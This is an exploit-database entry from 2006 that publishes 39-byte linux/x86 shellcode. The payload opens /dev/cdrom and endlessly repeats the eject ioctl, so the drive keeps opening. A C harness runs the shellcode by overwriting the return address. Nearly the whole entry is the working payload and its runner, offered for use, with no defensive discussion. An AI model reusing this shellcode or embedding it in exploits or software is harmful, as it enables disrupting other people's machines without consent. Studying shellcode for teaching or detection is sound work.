linux/x86 24/7 open cd-rom loop (follows /dev/cdrom symlink) 39 bytes

2006-01-21T00:00:00
ID 1337DAY-ID-7147
Type zdt
Reporter izik
Modified 2006-01-21T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            =====================================================================
linux/x86 24/7 open cd-rom loop (follows /dev/cdrom symlink) 39 bytes
=====================================================================





/*
 * (linux/x86) 24/7 open cd-rom loop (follows "/dev/cdrom" symlink) - 39 bytes
 * - izik <[email protected]>
 */

char shellcode[] = 

	"\x6a\x05"              // push $0x5 
	"\x58"                  // pop %eax 
	"\x31\xc9"              // xor %ecx,%ecx 
	"\x51"                  // push %ecx 
	"\xb5\x08"              // mov $0x8,%ch 
	"\x68\x64\x72\x6f\x6d"  // push $0x6d6f7264 
	"\x68\x65\x76\x2f\x63"  // push $0x632f7665 
	"\x68\x2f\x2f\x2f\x64"  // push $0x642f2f2f 
	"\x89\xe3"              // mov %esp,%ebx 
	"\xcd\x80"              // int $0x80 
	"\x89\xc3"              // mov %eax,%ebx 
	"\x66\xb9\x09\x53"      // mov $0x5309,%cx 
	
	//
	// <_openit>:
	//

	"\xb0\x36"              // mov $0x36,%al 
	"\xcd\x80"              // int $0x80 
	"\xeb\xfa";             // jmp <_openit>

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}



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